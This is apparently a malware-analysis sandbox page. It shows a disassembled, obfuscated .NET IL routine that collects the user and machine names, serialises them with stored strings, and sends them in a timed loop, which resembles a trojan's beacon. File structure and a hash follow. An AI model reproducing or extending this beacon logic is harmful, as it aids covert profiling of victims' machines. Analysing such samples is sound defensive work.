ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mnaEGMtshRweATXeKXWBlx()
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldloc V_6
ldloc V_7
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::DOtkMSyLWzcv(System.String,System.String)
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::bMNgmHKebZMWPzvwpu()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ojHRvOSsYlOKjdBZaMUmq()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XuXHjvoLOAsN()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::IKIVyhHuQbGEfsUuRRTPmtN()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::pIbIbpohxE()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.bIomJHzwGb::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.bIomJHzwGb EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mKsAZxpLcKgdXXooLnZAa
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::UvKkYsRdODb
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::dsNZUjVIwwbwIa()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lkdUmDeyJFfvCS()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lHgFIjSpSrB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FOxtrFTiagGyIiRYmq()
call System.Byte[] jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::OZCBSRqJLdzCSKRQ()
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ieJYaLyuET()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MnTDhKZNoVicszmrFCZ
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::oSpVqNzPiJRBCofEWPshtE()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::kZurxkkmomnFAtiypucvBgH
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::kwwpWhtLPO()
call System.String System.Environment::get_UserName()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VIhrfLogaFieWvrJZMaZp()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::soJnsDYXIsQcGkuHceMmv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MyesfNgZDXABgZMMwsP
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::REYtXchpyBmRwrvjXoIWv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::rsOYjpLwzIJuioPoyvlNvVW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TTqFbaRhDcqH()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::QiyRqNLGYsnTkGJqCkavNGS
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::EOygwpSuOppoDLsG()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::enyKkcrOTVPM
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYoJlFDRBHYQyKaoV()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::KXNBHCvVWWHAqtGmxDWqAvD
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VZHMgcOFdBRYOYafxRTNTJv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::jeNBpFWYYMkVDt
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::uhudQfOzhTXhQS()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UZnOsyeuldMsCWAYPW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::LvfbBAcszpSNJVIYMesRzik()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AKEjiJQebmRqDRRXYwWtpI
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ynRrvBtPfZHRnhtNRovnyR()
call System.String jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::LPnHbZfGgtVuy()
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::OjlxyvCijNqlekezKm()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
7bbe43387cfe0e00dafd61ea63904c6d
[Authenticode]_51d35a4b.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
6dunca1xri
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙